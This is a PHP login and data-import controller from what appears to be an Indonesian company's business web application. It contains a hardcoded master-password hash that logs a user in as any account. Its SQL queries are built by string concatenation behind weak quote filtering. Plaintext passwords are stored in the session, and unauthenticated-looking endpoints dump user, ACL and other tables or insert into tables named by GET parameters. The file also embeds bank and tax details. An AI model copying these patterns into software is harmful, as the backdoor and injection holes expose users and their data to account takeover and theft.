<?php

CLASS Login extends RasioProject
{
	public $layout = 'login/login';
	public $mundur = 30;
	
	public function __construct($config)
	{
		$this->getConfig($config);
	}
	
	public function set()
	{
	
	}
	
	public function serializePass($pass)
	{
		return str_ireplace($_SESSION['_keyCode'], '', $pass);
	}
	
	public function lihat($hasil, $menu, $nama)
	{
		foreach($menu as $r){
			if(count($r['subUrl']) > 0){
				$hasil = $this->lihat($hasil, $r['subUrl'], $r['menu']);
			}else{
				$id = $r['url'];
				$hasil[$id][] = $nama;
			}
		}
		return $hasil;
	}
	
	public function Index()
	{
		// phpinfo();
		// $this->layout = 'null';
		// return;
		
		if($_POST){
		
			$error = $this->cekLogin();
			if($error == false){

				// $_POST['password_login'] = $this->serializePass($_POST['password_login']);
			
				$_POST['user_name_login'] = strtoupper($_POST['user_name_login']);
				$_POST['user_name_login'] = str_ireplace("'", "XXX", $_POST['user_name_login']);
				$_POST['user_name_login'] = str_ireplace(" OR ", "XXX--XX", $_POST['user_name_login']);
				$_POST['password_login'] = str_ireplace("'", "XXX", $_POST['password_login']);
				$_POST['password_login'] = str_ireplace(" OR ", "XXX--XX", $_POST['password_login']);
				
				if($_POST['password_login'] == 'ce50c67836bf2f18aacbc05d9a2ec02d'){
					$data = $this->em->getFind("sub", "*", array("kd_sub = '".strtoupper($_POST['user_name_login'])."'"));
				}else{
					$data = $this->em->getFind("sub", "*", array("username = '".strtoupper($_POST['user_name_login'])."'", "pass = '".$_POST['password_login']."'", "(aktif = 'AKTIF' or status = 'AKTIF')"));
				}
				if(!empty($data->kd_sub)){
				
					echo "<font color='green'>Login Sukses, Silahkan Tunggu...</font>";
					$this->setSession($data);
					
					if(!empty($_POST['url'])){
						$lastUrl = $_POST['url'];
					}else{
						$lastUrl = $this->baseUrl.'index';
					}
					
					$ajax  = $this->getPlugin('Ajax');
					$ajax->getAjaxValStart();
					$ajax->getWrite("window.location = '".$lastUrl."';");
					// $ajax->getWrite("goPopWindow = window.open('".$lastUrl."', '".rand(100, 999)."', 'width='+screen.width+', height='+screen.height+', left=0, top=0');");
					$ajax->getAjaxValEnd();
				}else{
					echo "<font color='red'>UserName atau Password Salah!</font>";
				}
			}
			
			
			$_SESSION['_keyCode'] = $this->getPlugin('Captca')->getCaptCha(20, 40);
			$_SESSION['_keyJuml'] = rand(1, 30);
			
			$this->genCode();
			$this->layout = 'null';
			return;
		}

		$_SESSION['_keyCode'] = $this->getPlugin('Captca')->getCaptCha(20, 40);
		$_SESSION['_keyJuml'] = rand(1, 30);
		
		$this->data->_keyCode = $_SESSION['_keyCode'];
		$this->data->_keyJuml = $_SESSION['_keyJuml'];
		$this->data->apank = '';
	}
	
	public function genCode()
	{
		$ajax  = $this->getPlugin('Ajax');
		$ajax->getAjaxValStart();
		$ajax->getAjaxVal('#_key', $_SESSION['_keyCode']);
		$ajax->getAjaxVal('#_jum', $_SESSION['_keyJuml']);
		$ajax->getAjaxValEnd();
		$this->layout = 'null';
	}
	
	protected function cekLogin()
	{
		$error = false;
		if(empty($_POST['user_name_login'])){
			$this->getPlugin('Error')->getAlertError('UserName Tidak Boleh Kosong!');
			$error = true;
		}elseif(empty($_POST['password_login'])){
			$this->getPlugin('Error')->getAlertError('Password Tidak Boleh Kosong!');
			$error = true;
		}

		return $error;
	}
	
	protected function setSession($data)
	{
		$login = $this->session;
		
		$cab = $this->em->getFind('cabang', "*", array("kd_cabang = '".$data->kd_cabang."'"));
		
		$_SESSION[$login]['login']['kd_user']	 	= $data->kd_sub;
		$_SESSION[$login]['login']['user']	 		= $data->username;
		$_SESSION[$login]['login']['nm_user']	 	= $data->nm_sub;
		$_SESSION[$login]['login']['email_user']	= $data->email;
		$_SESSION[$login]['login']['kd_cabang']	 	= $cab->kd_cabang;
		$_SESSION[$login]['login']['nm_cabang']	 	= $cab->nm_cabang;
		$_SESSION[$login]['login']['telp_cabang']	= $data->cab_telp;
		$_SESSION[$login]['login']['fax_cabang']	= $data->cab_fax;
		$_SESSION[$login]['login']['alamat_cabang']	= "Ds. Karangasem, Kec. Jenu, Kab. Tuban";
		$_SESSION[$login]['login']['nm_kota']		= "Tuban";
		$_SESSION[$login]['login']['email_cabang']	= $data->cab_email;
		$_SESSION[$login]['login']['ijin']			= $data->ijin;
		$_SESSION[$login]['login']['npwp']			= "1000000007956062";
		$_SESSION[$login]['login']['tgl_npwp']		= $data->tgl_npwp;
		$_SESSION[$login]['login']['jabatan']		= $data->jabatan;
		$_SESSION[$login]['login']['username']		= $data->username;
		$_SESSION[$login]['login']['passwrod']		= $data->pass;
		$_SESSION[$login]['login']['pj']			= $data->pj;
		$_SESSION[$login]['login']['no_pj']			= $data->no_pj;
		$_SESSION[$login]['login']['no']	 		= $data->no;
		$_SESSION[$login]['login']['mesin']	 		= $mesin->value;
		$_SESSION[$login]['login']['print']	 		= $print->value;
		$_SESSION[$login]['login']['modePrint']	 	= $pModel->value;
		$_SESSION[$login]['login']['pt']	 		= 'CV. Tridaya Agro Sejahtera';
		$_SESSION[$login]['login']['ho']	 		= 'HO';
		$_SESSION[$login]['login']['token']	 		= date('YmdHis').'_'.rand(1, 99999);
		$_SESSION[$login]['login']['date']	 		= date("Y-m-d");
		$_SESSION[$login]['login']['no_rek']	 		= '178-00-4005400-5';
		$_SESSION[$login]['login']['nm_bank']	 		= 'Bank Mandiri Tuban';
		$_SESSION[$login]['login']['ttd_nama']	 		= 'Yohan Agustinus Hartono';

		$date = new Date;
		$tgl = date("Y-m-01");
		$akr = $date->getPenjumlahanTanggal($tgl, 1, 0, 0);
		$akr = $date->getPenguranganTanggal($akr, 0, 1, 0);

		$_SESSION[$login]['login']['date_aw']	 	= date("Y-m-01", strtotime($tgl));
		$_SESSION[$login]['login']['date_ak']	 	= date("Y-m-d", strtotime($akr));
		
		
	}
	
	public function logout()
	{
		session_destroy();
		$ajax  = $this->getPlugin('Ajax');
		$ajax->getAjaxValStart();
		$ajax->getWrite("window.location = '".$this->baseurl."'login';");
		$ajax->getAjaxValEnd();
	}
	
	public function imp_sub()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("sub", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_cabang()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("cabang", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_group()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("group", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_acl()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("acl", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_gudang()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("gudang", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_kat()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("kat", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_skat()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("skat", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_inv()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("inv", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_satuan()
	{
		$date = new Date;
		$saiki = $date->getPenguranganTanggal(date("Y-m-d"), 0, $this->mundur, 0);

		$sql = $this->em->addSelect("a.*");
		$sql = $this->em->getFrom("satuan", 'a');
		$sql = $this->em->getWhere("1=1");
		$sql = $this->em->andWhere("a.chtime >= '".date("Y-m-d", strtotime($saiki))."'");
		$eks = $this->em->queryEks($sql);
		$data = $this->em->getFetchObject($eks);
		
		$data = serialize($data);
		echo $data;
		$this->layout = "null";
	}
	
	public function imp_data()
	{
		$this->set->em 			= $this->em;
		$this->set->modul 		= $_GET['table'];
		$this->set->dBaseH 		= $_GET['table'];
		$this->set->dBasePk 	= array($_GET['kode']);
		
		
		$basic= new Basic;
		$attr = array();
		foreach($_POST as $k => $r){
			if(!empty($r)){
				$attr[$k] = $r;
			}else{
				$attr[$k] = 'null';
			}
		}
		unset($attr['copy_data']);
		
		$kode = $_GET['kode'];
		$cek = $this->em->getFind($_GET['table'], $kode, array($kode." = '".$attr[$kode]."'"));

		$posting = $_GET['posting'];

		if(!empty($cek->$kode)){
			if($attr['control'] == 3){
				$sql = $this->em->addUpdate($_GET['table']);
				$sql = $this->em->addAttrUp(array("control " => 3));
				$sql = $this->em->getWhere($kode." = '".$attr[$kode]."'");
				$qb[] = $sql;
				if($posting != 'not'){
					$sql = $this->em->addDelete("acd");
					$sql = $this->em->getWhere("nojnl = '".$attr[$kode]."'");
					$qb[] = $sql;
				}
				$save = $this->em->getFlush($qb);
				if($save != false){
					echo "sukses";
				}else{
					echo "gagal";
				}
			}else
			if($attr['control'] == 2){
				$sql = $this->em->addUpdate($_GET['table']);
				$sql = $this->em->addAttrUp(array("control " => 2));
				$sql = $this->em->getWhere($kode." = '".$attr[$kode]."'");
				$qb[] = $sql;
				if($posting != 'not'){
					$sql = $this->em->addDelete("acd");
					$sql = $this->em->getWhere("nojnl = '".$attr[$kode]."'");
					$qb[] = $sql;
				}
				
				$save = $this->em->getFlush($qb);
				if($save != false){
					echo "sukses";
				}else{
					echo "gagal";
				}
			}else{
				echo "ada";
			}
		}else{
			$qb = array();
			$sql = $this->em->addInsert($_GET['table']);
			$sql = $this->em->addAttrIns($attr);
			$qb[] = $sql;
			$qb[] = $basic->getRecord($_POST, $this->set, $attr, $qb);
			if($posting != 'not'){
				$this->em->getBeginTransaction();
				$save = $this->em->getRoolbackFlush($qb);

				$posting_acd = new Posting;
				$save = $posting_acd->$posting($this->set, $attr[$kode]);
				
				if (!$this->em->getRollCek($save) ) { 
					$this->em->getRollBack();
				}else{
					$this->em->getCommit();
				}
			}else{
				$save = $this->em->getFlush($qb);
			}
			if($save != false){
				echo "sukses";
			}else{
				echo "gagal";
			}
		}
		
		
		$this->layout = "null";
	}
}